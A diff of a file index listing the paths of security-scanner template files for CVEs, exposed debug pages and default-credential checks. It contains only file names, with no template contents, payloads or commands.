-./poc/cve/cve-2022-32028(1).yaml -./poc/cve/cve-2022-32159(1).yaml ./poc/cve/cve-2022-32159.yaml ./poc/cve/cve-2022-32409-6758.yaml ./poc/cve/cve-2022-32444-6759.yaml ./poc/cve/cve-2022-32444-6760.yaml ./poc/cve/cve-2022-33119(1).yaml -./poc/cve/cve-2022-33174(1).yaml ./poc/cve/cve-2022-33174-6761.yaml -./poc/cve/cve-2022-34046(1).yaml ./poc/cve/cve-2022-34046-6762.yaml +./poc/cve/cve-2022-34047(1).yaml ./poc/cve/cve-2022-34047-6763.yaml -./poc/cve/cve-2022-34049(1).yaml +./poc/cve/cve-2022-34048(1).yaml +./poc/cve/cve-2022-36883(1).yaml +./poc/cve/cve-2023-2523.yaml ./poc/cve/cve-2023-33246.yaml ./poc/cve/cve-2023-34039.yaml +./poc/cve/cve-2024-23334.yaml ./poc/cve/cve-annotate.yml ./poc/cve/cve2json.yml ./poc/cve/cve_rce2-1.yaml @@ -42648,17 +42861,18 @@ ./poc/debug/airflow-debug-232.yaml ./poc/debug/airflow-debug.yaml ./poc/debug/ampache-debug-page.yaml +./poc/debug/android-debug-database-exposed-312.yaml ./poc/debug/android-debug-database-exposed-313.yaml ./poc/debug/android-debug-database-exposed-314.yaml ./poc/debug/android-debug-database-exposed-315.yaml -./poc/debug/android-debug-database-exposed-316.yaml ./poc/debug/android-debug-database-exposed.yaml ./poc/debug/android-manifest-debuggable-enabled.yaml -./poc/debug/aspx-debug-mode-575.yaml ./poc/debug/aspx-debug-mode-576.yaml -./poc/debug/aspx-debug-mode-577.yaml +./poc/debug/aspx-debug-mode-578.yaml ./poc/debug/aspx-debug-mode-579.yaml +./poc/debug/aspx-debug-mode.yaml ./poc/debug/bitrix-debug-file.yaml +./poc/debug/browserless-debugger-794.yaml ./poc/debug/browserless-debugger-795.yaml ./poc/debug/checkGoDebug.yaml ./poc/debug/coldfusion-debug-xss-1.yaml @@ -42680,7 +42894,6 @@ ./poc/debug/debug-bar-elasticpress-plugin.yaml ./poc/debug/debug-bar-elasticpress.yaml ./poc/debug/debug-bar.yaml -./poc/debug/debug-enabled-6788.yaml ./poc/debug/debug-enabled-6790.yaml ./poc/debug/debug-enabled.yaml ./poc/debug/debug-functions-time-2df258451ffd3064fdb981dedfeff909.yaml @@ -42716,6 +42929,7 @@ ./poc/debug/django-debug-exposure-7028.yaml ./poc/debug/django-debug-exposure-7029.yaml ./poc/debug/django-debug-exposure-7030.yaml +./poc/debug/django-debug-exposure-7031.yaml ./poc/debug/django-debug-exposure-csrf.yaml ./poc/debug/django-debug-exposure.yaml ./poc/debug/django-debug-toolbar.yaml @@ -42744,7 +42958,6 @@ ./poc/debug/laravel-debug-enabled-8575.yaml ./poc/debug/laravel-debug-enabled-8576.yaml ./poc/debug/laravel-debug-enabled-8577.yaml -./poc/debug/laravel-debug-enabled.yaml ./poc/debug/laravel-debug-error-8579.yaml ./poc/debug/laravel-debug-error.yaml ./poc/debug/laravel-debug-info-leak.yaml @@ -42756,25 +42969,25 @@ ./poc/debug/npm-debug-log.yaml ./poc/debug/php-debug-bar-9504.yaml ./poc/debug/php-debug-bar-9506.yaml -./poc/debug/php-debug-bar-9507.yaml ./poc/debug/php-debug-bar.yaml ./poc/debug/php-debugbar-exposure.yaml ./poc/debug/php-symfony-debug.yaml ./poc/debug/pyramid-debug-toolbar-9739.yaml +./poc/debug/pyramid-debug-toolbar-9740.yaml ./poc/debug/pyramid-debug-toolbar-9741.yaml ./poc/debug/pyramid-debug-toolbar.yaml ./poc/debug/rails-debug-mode-9805.yaml -./poc/debug/rails-debug-mode-9806.yaml +./poc/debug/rails-debug-mode-9807.yaml ./poc/debug/rails-debug-mode.yaml ./poc/debug/sitecore-debug-page-10285.yaml ./poc/debug/sitecore-debug-page.yaml ./poc/debug/soap-ajax-debugshell.yaml ./poc/debug/struts-debug-mode-10559.yaml -./poc/debug/struts-debug-mode-10561.yaml +./poc/debug/struts-debug-mode-10560.yaml ./poc/debug/struts-debug-mode.yaml ./poc/debug/symfony-debug.yaml +./poc/debug/symfony-debugmode-10618.yaml ./poc/debug/symfony-debugmode-10619.yaml -./poc/debug/symfony-debugmode-10620.yaml ./poc/debug/symfony-debugmode-10621.yaml ./poc/debug/symfony-debugmode-10623.yaml ./poc/debug/symfony-debugmode.yaml @@ -42783,7 +42996,7 @@ ./poc/debug/wamp-xdebug-detect-11100.yaml ./poc/debug/wamp-xdebug-detect-11101.yaml ./poc/debug/wamp-xdebug-detect-11102.yaml -./poc/debug/wamp-xdebug-detect-11104.yaml +./poc/debug/wamp-xdebug-detect-11103.yaml ./poc/debug/wamp-xdebug-detect.yaml ./poc/debug/wamp-xdebug.yaml ./poc/debug/werkzeug-debug.yaml @@ -42792,9 +43005,9 @@ ./poc/debug/werkzeug-debugger-detect-11197.yaml ./poc/debug/werkzeug-debugger-detect-11198.yaml ./poc/debug/werkzeug-debugger-detect.yaml +./poc/debug/wordpress-debug-log-11256.yaml ./poc/debug/wordpress-debug-log-11257.yaml ./poc/debug/wordpress-debug-log-11258.yaml -./poc/debug/wordpress-debug-log-11259.yaml ./poc/debug/wordpress-debug-log.yaml ./poc/debug/wp-debug-log.yaml ./poc/debug/wp-debugging-0c12452c85fb9700ac837eef51c78541.yaml @@ -42810,17 +43023,18 @@ ./poc/debug/yii-debugger-11738.yaml ./poc/debug/yii-debugger-11739.yaml ./poc/debug/yii-debugger-11740.yaml +./poc/debug/yii-debugger-11741.yaml ./poc/debug/yii-debugger-2.yaml ./poc/debug/yii-debugger-3.yaml ./poc/debug/yii-debugger-4.yaml ./poc/debug/yii-debugger-5.yaml ./poc/debug/yii-debugger.yaml +./poc/default/3Com-wireless-default-login.yaml ./poc/default/Chinaunicom-Default-Login.yaml ./poc/default/HikvisionIntercom-Service-DefaultPassword.yaml ./poc/default/JeeSite-default-login.yaml ./poc/default/Kingsoft-default-login.yaml ./poc/default/Konga-default-login.yaml -./poc/default/Mantis-Default_login.yaml ./poc/default/MinIO-default-login.yaml ./poc/default/NagiosXI-CMS-Default-Login.yaml ./poc/default/PFSense-Default-Login.yaml @@ -42829,9 +43043,9 @@ ./poc/default/TestLink-Default-Login.yaml ./poc/default/UniFi-Default-Login.yaml ./poc/default/ZoneMinder-Default-Login.yaml +./poc/default/activemq-default-login-44.yaml ./poc/default/activemq-default-login-45.yaml ./poc/default/activemq-default-login-46.yaml -./poc/default/activemq-default-login-47.yaml ./poc/default/activemq-default-login-48.yaml ./poc/default/activemq-default-password.yaml ./poc/default/activemq-default-password.yml @@ -42851,7 +43065,8 @@ ./poc/default/aem-default-get-servlet-12.yaml ./poc/default/aem-default-get-servlet-13.yaml ./poc/default/aem-default-get-servlet-135.yaml -./poc/default/aem-default-get-servlet-136.yaml +./poc/default/aem-default-get-servlet-137.yaml +./poc/default/aem-default-get-servlet-138.yaml ./poc/default/aem-default-get-servlet-139.yaml ./poc/default/aem-default-get-servlet-14.yaml ./poc/default/aem-default-get-servlet-15.yaml @@ -42905,19 +43120,18 @@ ./poc/default/aem-default-get-servlet-8.yaml ./poc/default/aem-default-get-servlet-9.yaml ./poc/default/aem-default-get-servlet.yaml -./poc/default/aem-default-login-141.yaml +./poc/default/aem-default-login-140.yaml ./poc/default/aem-default-login-142.yaml -./poc/default/aem-default-login.yaml ./poc/default/airflow-default-credentials.yaml -./poc/default/airflow-default-login-235.yaml +./poc/default/airflow-default-login-234.yaml ./poc/default/airflow-default-login-236.yaml -./poc/default/airflow-default-login.yaml ./poc/default/alibaba-canal-default-password.yaml ./poc/default/alibaba-canal-default-password.yml ./poc/default/alphaweb-default-login-276.yaml ./poc/default/alphaweb-default-login-277.yaml ./poc/default/ambari-default-credentials-286.yaml ./poc/default/ambari-default-credentials.yaml +./poc/default/ambari-default-login-287.yaml ./poc/default/ambari-default-login-288.yaml ./poc/default/ambari-default-login-289.yaml ./poc/default/ambari-default-login-290.yaml @@ -42929,12 +43143,14 @@ ./poc/default/apisix-default-login-490.yaml ./poc/default/apisix-default-login-492.yaml ./poc/default/apollo-default-login-520.yaml -./poc/default/apollo-default-login-521.yaml +./poc/default/arl-default-login-537.yaml ./poc/default/arl-default-login-538.yaml -./poc/default/arl-default-login-539.yaml ./poc/default/arl-default-login-540.yaml ./poc/default/arl-default-password-542.yaml ./poc/default/arl-default-password.yaml +./poc/default/asus-rtn16-default-login.yaml +./poc/default/asus-wl500g-default-login.yaml +./poc/default/asus-wl520GU-default-login.yaml ./poc/default/atlassian-login-default.yaml ./poc/default/axis2-default-login-1.yaml ./poc/default/axis2-default-login-2.yaml @@ -42942,28 +43158,29 @@ ./poc/default/axis2-default-password-1.yaml ./poc/default/axis2-default-password-2.yaml ./poc/default/axis2-default-password.yaml +./poc/default/azkaban-default-login-671.yaml ./poc/default/azkaban-default-login-672.yaml ./poc/default/azkaban-default-login-673.yaml ./poc/default/azkaban-default-login-674.yaml ./poc/default/azkaban-default-login-675.yaml -./poc/default/azkaban-default-login.yaml ./poc/default/azkaban-default-password.yaml ./poc/default/azkaban-web-client-default-creds.yaml ./poc/default/azure-default-page.yaml ./poc/default/bithighway-default-password.yaml ./poc/default/businessintelligence-default-login-814.yaml ./poc/default/businessintelligence-default-login-815.yaml -./poc/default/businessintelligence-default-login-816.yaml -./poc/default/canal-default-login-846.yaml +./poc/default/businessintelligence-default-login-817.yaml +./poc/default/businessintelligence-default-login.yaml +./poc/default/cambium-networks-default-login.yaml ./poc/default/canal-default-login-847.yaml ./poc/default/canal-default-login-848.yaml +./poc/default/canal-default-login-849.yaml ./poc/default/canal-default-login.yaml ./poc/default/change-default-login-logo-url-and-title-fef61a56dbdca375b6c1f6da9b2473d7.yaml ./poc/default/change-default-login-logo-url-and-title.yaml -./poc/default/chinaunicom-default-login-906.yaml ./poc/default/chinaunicom-default-login-907.yaml ./poc/default/chinaunicom-default-login-908.yaml -./poc/default/chinaunicom-default-login.yaml +./poc/default/chinaunicom-default-login-909.yaml ./poc/default/chinaunicom-modem-default-credentials-911.yaml ./poc/default/chinaunicom-modem-default-credentials.yaml ./poc/default/chinaunicom-modem-default-password.yaml @@ -42971,7 +43188,7 @@ ./poc/default/ciphertrust-default-password-vulnerability.yaml ./poc/default/circarlife-default-login.yaml ./poc/default/cnzxsoft-information-security-management-system-default-account.yaml -./poc/default/cobbler-default-login-1119.yaml +./poc/default/cobbler-default-login-1118.yaml ./poc/default/cobbler-default-login-1120.yaml ./poc/default/cobbler-default-login-1121.yaml ./poc/default/control4-default-login.yaml @@ -42989,18 +43206,17 @@ ./poc/default/datang-ac-default-password-cnvd-2021-04128.yml ./poc/default/datang-ac-default-password.yaml ./poc/default/default-apache-test-all-6812.yaml -./poc/default/default-apache-test-all-6813.yaml ./poc/default/default-apache-test-all-6814.yaml +./poc/default/default-apache-test-all-6815.yaml +./poc/default/default-apache-test-all.yaml ./poc/default/default-apache-test-page-6816.yaml ./poc/default/default-apache-test-page-6817.yaml ./poc/default/default-apache-test-page-6818.yaml ./poc/default/default-apache-test-page-6819.yaml -./poc/default/default-apache-test-page.yaml ./poc/default/default-apache2-page-6804.yaml ./poc/default/default-apache2-page-6805.yaml ./poc/default/default-apache2-page-6806.yaml ./poc/default/default-apache2-page-6807.yaml -./poc/default/default-apache2-ubuntu-page-6808.yaml ./poc/default/default-apache2-ubuntu-page-6809.yaml ./poc/default/default-apache2-ubuntu-page-6810.yaml ./poc/default/default-apache2-ubuntu-page-6811.yaml @@ -43014,17 +43230,15 @@ ./poc/default/default-centos-test-page-6827.yaml ./poc/default/default-centos-test-page-6828.yaml ./poc/default/default-centos-test-page-6829.yaml +./poc/default/default-codeigniter-page-6830.yaml ./poc/default/default-codeigniter-page-6831.yaml ./poc/default/default-codeigniter-page-6832.yaml ./poc/default/default-codeigniter-page-6834.yaml -./poc/default/default-codeigniter-page.yaml ./poc/default/default-config-6835.yaml ./poc/default/default-config.yaml ./poc/default/default-detect-generic-6837.yaml ./poc/default/default-detect-generic-6838.yaml -./poc/default/default-detect-generic-6839.yaml ./poc/default/default-django-page-6840.yaml -./poc/default/default-django-page-6841.yaml ./poc/default/default-django-page-6842.yaml ./poc/default/default-django-page-6843.yaml ./poc/default/default-fastcgi-page-6844.yaml @@ -43035,9 +43249,9 @@ ./poc/default/default-fedora-page-6849.yaml ./poc/default/default-fedora-page-6850.yaml ./poc/default/default-fedora-page-6851.yaml -./poc/default/default-fedora-page.yaml ./poc/default/default-glassfish-server-page-6852.yaml ./poc/default/default-glassfish-server-page-6853.yaml +./poc/default/default-glassfish-server-page-6854.yaml ./poc/default/default-glassfish-server-page-6855.yaml ./poc/default/default-glassfish-server-page.yaml ./poc/default/default-ibm-http-server-6856.yaml @@ -43046,15 +43260,15 @@ ./poc/default/default-iis7-page-6859.yaml ./poc/default/default-iis7-page-6860.yaml ./poc/default/default-iis7-page-6861.yaml -./poc/default/default-iis7-page.yaml +./poc/default/default-jetty-page-6862.yaml ./poc/default/default-jetty-page-6863.yaml ./poc/default/default-jetty-page-6864.yaml ./poc/default/default-jetty-page-6865.yaml +./poc/default/default-jetty-page.yaml ./poc/default/default-lighttpd-page-6866.yaml ./poc/default/default-lighttpd-page-6867.yaml ./poc/default/default-lucee-page-6868.yaml ./poc/default/default-lucee-page-6869.yaml -./poc/default/default-lucee-page-6870.yaml ./poc/default/default-lucee-page-6872.yaml ./poc/default/default-mag-42c8a5445d70abc166f93c14f3500712.yaml ./poc/default/default-mag.yaml @@ -43067,16 +43281,15 @@ ./poc/default/default-movable-page-6878.yaml ./poc/default/default-movable-page-6879.yaml ./poc/default/default-nginx-page-6880.yaml -./poc/default/default-nginx-page-6881.yaml ./poc/default/default-nginx-page-6882.yaml ./poc/default/default-nginx-page-6883.yaml ./poc/default/default-openresty-6885.yaml ./poc/default/default-openresty-6886.yaml ./poc/default/default-openresty-6887.yaml ./poc/default/default-openresty-6888.yaml -./poc/default/default-openresty.yaml ./poc/default/default-oracle-application-page-6889.yaml ./poc/default/default-oracle-application-page-6890.yaml +./poc/default/default-oracle-application-page-6891.yaml ./poc/default/default-oracle-application-page-6892.yaml ./poc/default/default-oracle-application-page-6893.yaml ./poc/default/default-oracle-application-page.yaml @@ -43088,15 +43301,14 @@ ./poc/default/default-plesk-page-6899.yaml ./poc/default/default-plesk-page-6900.yaml ./poc/default/default-plesk-page-6901.yaml +./poc/default/default-redhat-test-page-6902.yaml ./poc/default/default-redhat-test-page-6903.yaml ./poc/default/default-redhat-test-page-6904.yaml ./poc/default/default-redhat-test-page-6905.yaml ./poc/default/default-ssltls-test-page-6906.yaml ./poc/default/default-ssltls-test-page-6907.yaml -./poc/default/default-ssltls-test-page-6908.yaml ./poc/default/default-ssltls-test-page-6909.yaml -./poc/default/default-ssltls-test-page.yaml -./poc/default/default-tomcat-page-6911.yaml +./poc/default/default-tomcat-page-6910.yaml ./poc/default/default-tomcat-page.yaml ./poc/default/default-windows-server-page-6912.yaml ./poc/default/default-windows-server-page-6913.yaml @@ -43105,19 +43317,18 @@ ./poc/default/default.yaml ./poc/default/dell-emc-ecom-default-credentials-6917.yaml ./poc/default/dell-emc-ecom-default-credentials.yaml -./poc/default/dell-idrac-default-login-6942.yaml ./poc/default/dell-idrac-default-login-6943.yaml ./poc/default/dell-idrac-default-login-6944.yaml +./poc/default/dell-idrac-default-login-6945.yaml ./poc/default/dell-idrac-default-login-6946.yaml -./poc/default/dell-idrac-default-login.yaml ./poc/default/dell-idrac9-default-login-6930.yaml ./poc/default/dell-idrac9-default-login-6931.yaml -./poc/default/dell-idrac9-default-login-6932.yaml ./poc/default/dell-idrac9-default-login-6933.yaml ./poc/default/dell-idrac9-default-login-6934.yaml ./poc/default/dell-idrac9-default-login-6935.yaml ./poc/default/dell-idrac9-default-password.yaml ./poc/default/dell-remote-power-management-default-login.yaml +./poc/default/digital-watchdog-default-login.yaml ./poc/default/digitalrebar-provision-default-login.yaml ./poc/default/dlink-ac-centralized-management-system-default-login.yaml ./poc/default/dlink-ac-default-password.yaml @@ -43128,21 +43339,22 @@ ./poc/default/druid-default-login-2.yaml ./poc/default/druid-default-login-7095.yaml ./poc/default/druid-default-login-7096.yaml -./poc/default/druid-default-login-7097.yaml ./poc/default/druid-default-login.yaml ./poc/default/druid-default-password-1.yaml ./poc/default/druid-default-password-2.yaml -./poc/default/dubbo-admin-default-login-7120.yaml +./poc/default/dubbo-admin-default-login-7121.yaml +./poc/default/dubbo-admin-default-login.yaml ./poc/default/dubbo-admin-default-password.yaml ./poc/default/dubbo-admin-default-password.yml ./poc/default/dvwa-default-login-7126.yaml ./poc/default/dvwa-default-login-7127.yaml ./poc/default/dvwa-default-login-7128.yaml -./poc/default/dvwa-default-login-7129.yaml ./poc/default/elasticsearch-insecure-default-config.yaml +./poc/default/emcecom-default-login-7211.yaml ./poc/default/emcecom-default-login-7212.yaml ./poc/default/emcecom-default-login-7213.yaml ./poc/default/emcecom-default-login-7214.yaml +./poc/default/emqx-default-login-7221.yaml ./poc/default/emqx-default-login-7222.yaml ./poc/default/esafenet-cdgserver3-systemconfig-default-password.yaml ./poc/default/exacqvision-default-credentials.yaml @@ -43156,24 +43368,27 @@ ./poc/default/flir-default-login-7513.yaml ./poc/default/flir-default-login-7515.yaml ./poc/default/flir-default-login-7516.yaml +./poc/default/flir-default-login.yaml ./poc/default/frp-default-credentials-7555.yaml ./poc/default/frp-default-credentials.yaml ./poc/default/frp-default-login-7556.yaml ./poc/default/frp-default-login-7557.yaml ./poc/default/frp-default-login-7558.yaml +./poc/default/frp-default-login-7559.yaml +./poc/default/frp-default-login.yaml ./poc/default/ftp-default-credentials.yaml ./poc/default/ftp-default-creds.yaml ./poc/default/fuelcms-default-login-7571.yaml ./poc/default/fuelcms-default-login-7572.yaml +./poc/default/genieacs-default-jwt.yaml ./poc/default/geoserver-default-login-7593.yaml ./poc/default/geoserver-default-login-7594.yaml ./poc/default/glpi-default-credential.yaml ./poc/default/glpi-default-login-7731.yaml -./poc/default/glpi-default-login-7732.yaml ./poc/default/glpi-default-login-7733.yaml -./poc/default/glpi-default-login.yaml ./poc/default/gophish-default-login-7792.yaml ./poc/default/gophish-default-login-7793.yaml +./poc/default/gophish-default-login-7794.yaml ./poc/default/grafana-default-credential-1.yaml ./poc/default/grafana-default-credential-2.yaml ./poc/default/grafana-default-credential.yaml @@ -43190,7 +43405,7 @@ ./poc/default/guacamole-default-login-7858.yaml ./poc/default/guacamole-default-login-7859.yaml ./poc/default/guacamole-default-login-7860.yaml -./poc/default/guacamole-default-login-7861.yaml +./poc/default/guacamole-default-login.yaml ./poc/default/hikvision-intercom-service-default-password.yaml ./poc/default/hikvision-intercom-service-default-password.yml ./poc/default/hongdian-default-login-1.yaml @@ -43201,13 +43416,13 @@ ./poc/default/hongdian-default-password-1.yaml ./poc/default/hongdian-default-password-2.yaml ./poc/default/hortonworks-smartsense-default-credentials.yaml -./poc/default/hp-switch-default-login-8036.yaml +./poc/default/hp-switch-default-login-8035.yaml ./poc/default/hp-switch-default-login-8037.yaml ./poc/default/hp-switch-default-login-8038.yaml +./poc/default/huawei-HG532e-default-login.yaml ./poc/default/huawei-HG532e-default-router-login.yaml ./poc/default/huawei-hg532e-default-router-login-8062.yaml ./poc/default/huawei-hg532e-default-router-login-8063.yaml -./poc/default/huawei-hg532e-default-router-login-8064.yaml ./poc/default/hue-default-credential-8080.yaml ./poc/default/hue-default-credential-8081.yaml ./poc/default/ibm-dcbc-default-login.yaml @@ -43215,44 +43430,42 @@ ./poc/default/ibm-dsc-default-login.yaml ./poc/default/ibm-hmc-default-login.yaml ./poc/default/ibm-mqseries-default-login-8106.yaml +./poc/default/ibm-mqseries-default-login-8107.yaml ./poc/default/ibm-mqseries-default-login-8108.yaml -./poc/default/ibm-mqseries-default-login.yaml ./poc/default/ibm-storage-default-credential-8123.yaml ./poc/default/ibm-storage-default-credential-8124.yaml ./poc/default/ibm-storage-default-credential-8125.yaml ./poc/default/ibm-storage-default-password.yaml ./poc/default/idemia-biometrics-default-credentials.yaml +./poc/default/idemia-biometrics-default-login-8138.yaml ./poc/default/idemia-biometrics-default-login-8139.yaml ./poc/default/idemia-biometrics-default-login-8140.yaml ./poc/default/idemia-biometrics-default-login-8141.yaml ./poc/default/iis-default-page.yaml ./poc/default/imm-default-login.yaml ./poc/default/inspur-clusterengine-default-login-8162.yaml -./poc/default/inspur-clusterengine-default-login.yaml ./poc/default/iptime-default-login-8192.yaml ./poc/default/iptime-default-login-8193.yaml ./poc/default/iptime-default-login-8194.yaml -./poc/default/iptime-default-login.yaml ./poc/default/jboss-default-password.yaml ./poc/default/jenkins-default-8270.yaml ./poc/default/jenkins-default-8271.yaml -./poc/default/jenkins-default-8272.yaml ./poc/default/jenkins-default-8273.yaml ./poc/default/jenkins-default-login.yaml ./poc/default/jenkins-default-pwd.yaml ./poc/default/jinher-oa-c6-default-password.yaml ./poc/default/jinher-oa-c6-default-password.yml +./poc/default/jinher-oa-default-login-8311.yaml ./poc/default/jinher-oa-default-login-8312.yaml -./poc/default/jinher-oa-default-login.yaml ./poc/default/jira-login-default.yaml ./poc/default/jmx-default-login-8354.yaml ./poc/default/jmx-default-login-8355.yaml ./poc/default/jmx-default-login-8356.yaml -./poc/default/jmx-default-login.yaml ./poc/default/jmx-default-password.yaml ./poc/default/jupyterhub-default-login-8399.yaml -./poc/default/jupyterhub-default-login-8400.yaml ./poc/default/jupyterhub-default-login-8401.yaml +./poc/default/jupyterhub-default-login.yaml +./poc/default/kafka-center-default-login-8415.yaml ./poc/default/kafka-center-default-login-8416.yaml ./poc/default/kafka-center-default-login-8417.yaml ./poc/default/kafka-center-default-password.yaml @@ -43263,9 +43476,9 @@ ./poc/default/lighttpd-default-8628.yaml ./poc/default/lighttpd-default.yaml ./poc/default/lutron-iot-default-login-8674.yaml +./poc/default/lutron-iot-default-login-8675.yaml ./poc/default/lutron-iot-default-login-8676.yaml ./poc/default/lutron-iot-default-login-8677.yaml -./poc/default/lutron-iot-default-login-8678.yaml ./poc/default/lutron-iot-default-login.yaml ./poc/default/mantisbt-default-credential-8778.yaml ./poc/default/mantisbt-default-credential-8779.yaml @@ -43274,6 +43487,7 @@ ./poc/default/minio-default-login(1).yaml ./poc/default/minio-default-login-1.yaml ./poc/default/minio-default-login-2.yaml +./poc/default/minio-default-login-8887.yaml ./poc/default/minio-default-login-8888.yaml ./poc/default/minio-default-login-8889.yaml ./poc/default/minio-default-password-1.yaml @@ -43281,9 +43495,11 @@ ./poc/default/minio-default-password.yaml ./poc/default/minio-default-password.yml ./poc/default/mofi4500-default-login-8912.yaml +./poc/default/mofi4500-default-login-8913.yaml ./poc/default/mofi4500-default-login-8914.yaml ./poc/default/mofi4500-default-password.yaml ./poc/default/mssql-default-logins.yaml +./poc/default/mysql-default-login.yaml ./poc/default/nacos-default-password.yaml ./poc/default/nagios-default-credential-8989.yaml ./poc/default/nagios-default-credential.yaml @@ -43291,30 +43507,28 @@ ./poc/default/nagios-default-login-8991.yaml ./poc/default/nagios-default-login-8992.yaml ./poc/default/nagios-default-login-8993.yaml -./poc/default/nagios-default-login-8994.yaml -./poc/default/nagios-default-login.yaml ./poc/default/netentsec-icg-default-password.yaml ./poc/default/netentsec-icg-default-password.yml -./poc/default/netsus-default-login-9058.yaml ./poc/default/netsus-default-login-9059.yaml ./poc/default/netsus-default-login-9060.yaml ./poc/default/nexus-default-login-9086.yaml ./poc/default/nexus-default-login-9087.yaml +./poc/default/nexus-default-login-9088.yaml ./poc/default/nexus-default-login-9089.yaml ./poc/default/nexus-default-password-9091.yaml ./poc/default/nexus-default-password.yaml ./poc/default/nexus-default-password.yml ./poc/default/nps-default-login-9142.yaml ./poc/default/nps-default-login-9143.yaml +./poc/default/nps-default-login-9144.yaml ./poc/default/nps-default-login-9145.yaml -./poc/default/nps-default-login.yaml ./poc/default/nps-default-password-9147.yaml ./poc/default/nps-default-password.yaml ./poc/default/nps-default-password.yml ./poc/default/ns-icg-default-password.yaml ./poc/default/nsicg-default-password.yaml ./poc/default/o2-default-password.yaml -./poc/default/octobercms-default-login-9192.yaml +./poc/default/octobercms-default-login-9193.yaml ./poc/default/octobercms-default-login.yaml ./poc/default/ofbiz-default-credentials-9207.yaml ./poc/default/ofbiz-default-credentials.yaml @@ -43325,10 +43539,12 @@ ./poc/default/ofbiz-default-password.yaml ./poc/default/openemr-default-login-9269.yaml ./poc/default/openemr-default-login-9270.yaml +./poc/default/openemr-default-login.yaml ./poc/default/openerp-default-password.yaml ./poc/default/openwrt-default-login-9332.yaml ./poc/default/openwrt-default-login.yaml ./poc/default/operations-automation-default-page-9336.yaml +./poc/default/operations-automation-default-page-9337.yaml ./poc/default/operations-automation-default-page-9338.yaml ./poc/default/operations-automation-default-page-9339.yaml ./poc/default/operations-automation-default-page-9340.yaml @@ -43336,24 +43552,28 @@ ./poc/default/panabit-default-login-9437.yaml ./poc/default/panabit-default-login-9438.yaml ./poc/default/panabit-default-login-9439.yaml -./poc/default/panabit-default-login-9440.yaml ./poc/default/panabit-default-password-9441.yaml ./poc/default/panabit-default-password-9442.yaml ./poc/default/panabit-default-password.yaml ./poc/default/panabit-gateway-default-password.yaml ./poc/default/panabit-gateway-default-password.yml ./poc/default/panabit-ixcache-default-login-9443.yaml +./poc/default/panabit-ixcache-default-login.yaml ./poc/default/panabit-ixcache-default-password.yaml ./poc/default/panabit-ixcache-default-password.yml ./poc/default/panos-default-credentials.yaml ./poc/default/panos-default-login-9454.yaml ./poc/default/panos-default-login-9455.yaml ./poc/default/panos-default-login-9456.yaml +./poc/default/panos-default-login-9457.yaml +./poc/default/panos-default-login.yaml ./poc/default/pentaho-default-login-9477.yaml ./poc/default/pentaho-default-login-9478.yaml ./poc/default/pentaho-default-login-9479.yaml ./poc/default/pentaho-default-login-9480.yaml +./poc/default/pentaho-default-login.yaml ./poc/default/peoplesoft-default-login.yaml +./poc/default/pgsql-default-db.yaml ./poc/default/phpmyadmin-default-login-extended.yaml ./poc/default/phpmyadmin-default-page.yaml ./poc/default/poc-yaml-otter-default-password.yaml @@ -43369,12 +43589,12 @@ ./poc/default/rabbitmq-default-password.yml ./poc/default/rainloop-default-login-9811.yaml ./poc/default/rainloop-default-login-9812.yaml +./poc/default/rainloop-default-login-9813.yaml ./poc/default/rainloop-default-login.yaml ./poc/default/rancher-default-login-9814.yaml -./poc/default/rancher-default-login-9815.yaml ./poc/default/rancher-default-login-9816.yaml +./poc/default/rancher-default-login.yaml ./poc/default/rancher-default-password.yaml -./poc/default/ranger-default-login-9827.yaml ./poc/default/ranger-default-login-9828.yaml ./poc/default/redfish-bmc-default-login.yaml ./poc/default/redis-default-logins.yaml @@ -43386,7 +43606,6 @@ ./poc/default/rockmongo-default-login-9900.yaml ./poc/default/rockmongo-default-password.yaml ./poc/default/rockmongo-default-password.yml -./poc/default/rseenet-default-login-9913.yaml ./poc/default/rseenet-default-login-9914.yaml ./poc/default/rseenet-default-login-9915.yaml ./poc/default/rseenet-default-password.yaml @@ -43398,24 +43617,24 @@ ./poc/default/samsung-wlan-default-login-10015.yaml ./poc/default/samsung-wlan-default-login-10016.yaml ./poc/default/samsung-wlan-default-login-10017.yaml +./poc/default/samsung-wlan-default-login-10018.yaml ./poc/default/secnet-ac-default-login-10113.yaml -./poc/default/secnet-ac-default-login.yaml ./poc/default/secnet-ac-default-password.yaml ./poc/default/secnet-ac-default-password.yml ./poc/default/seeddms-default-login-10125.yaml ./poc/default/seeddms-default-login-10126.yaml -./poc/default/seeddms-default-login-10127.yaml ./poc/default/seeddms-default-login-10128.yaml +./poc/default/seeddms-default-login.yaml ./poc/default/seeddms-default-password.yaml ./poc/default/seeyon-a8-management-monitor-default-password.yaml ./poc/default/seeyon-oa-a8-management-default-password.yaml ./poc/default/sequoiadb-default-login-10150.yaml ./poc/default/sequoiadb-default-login-10152.yaml -./poc/default/sequoiadb-default-login.yaml +./poc/default/showdoc-default-login-10219.yaml ./poc/default/showdoc-default-login-10220.yaml ./poc/default/showdoc-default-login-10221.yaml ./poc/default/showdoc-default-login-10222.yaml -./poc/default/showdoc-default-password-10224.yaml +./poc/default/showdoc-default-login.yaml ./poc/default/showdoc-default-password.yaml ./poc/default/showdoc-default-password.yml ./poc/default/sitecore-default-page.yaml @@ -43424,27 +43643,34 @@ ./poc/default/smartsense-default-login-10329.yaml ./poc/default/smartsense-default-login-10330.yaml ./poc/default/smartsense-default-login-10331.yaml +./poc/default/smb-default-creds.yaml ./poc/default/solarwinds-default-admin-1.yaml ./poc/default/solarwinds-default-admin-2.yaml ./poc/default/solarwinds-default-admin.yaml ./poc/default/solarwinds-default-login-1.yaml ./poc/default/solarwinds-default-login-10354.yaml +./poc/default/solarwinds-default-login-10355.yaml ./poc/default/solarwinds-default-login-10356.yaml ./poc/default/solarwinds-default-login-2.yaml +./poc/default/soplanning-default-login.yaml ./poc/default/spectracom-default-credential.yaml ./poc/default/spectracom-default-login-10403.yaml ./poc/default/spectracom-default-login-10404.yaml +./poc/default/spectracom-default-login-10405.yaml ./poc/default/spectracom-default-login-10406.yaml ./poc/default/spectracom-default-password.yaml ./poc/default/ssh-default-logins.yaml ./poc/default/stackstorm-default-login-10529.yaml ./poc/default/stackstorm-default-login-10530.yaml ./poc/default/stackstorm-default-login.yaml +./poc/default/structurizr-default-login.yaml ./poc/default/supermicro-default-login-10572.yaml +./poc/default/supermicro-default-login.yaml ./poc/default/superset-default-login-10573.yaml ./poc/default/superset-default-login-10574.yaml ./poc/default/superset-default-login.yaml ./poc/default/szhe-default-login-10635.yaml +./poc/default/szhe-default-login-10636.yaml ./poc/default/szhe-default-login-10637.yaml ./poc/default/szhe-default-login-10638.yaml ./poc/default/szhe-default-password-10639.yaml @@ -43454,6 +43680,7 